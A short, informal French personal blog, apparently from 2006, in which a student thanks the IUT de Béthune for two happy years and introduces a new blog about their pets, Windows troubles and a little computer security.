Deux ans de bonheurs... où j'ai fais la connaissance de gens et gentes formidables. Tous les moments passés avec vous resteront gravés à jamais dans ma ROM. Vous savez qui vous êtes.

En bref, deux ans inoubliables... merci l'IUT de Béthune. :-)

Can you introduce yourself ?

2006-05-08T12:01:00.000-07:00

Désolé Monsieur mais je ne sais pas encore qui je suis...

En période de bralange intense, certains parcourent la skyblogosphère tout en lachant quelques commentaires intellectuels, tchatent sur MSHAINE, se saoûlent au rhum agricole, ré-ré-ré-installent microsoft windows... etc, et d'autres créent même des blogs. Perso., j'ai opté pour la dernière action, on verra si c'était le bon choix.

Ça va causer de ma vie passionnante... ma chienne lili, mon lapin-nain bugs, ..., de microsoft windows... "bein cha plante bien", ..., et aussi de sécurité... mais juste un peu.

Puis si ça ne marche pas, rm -fr.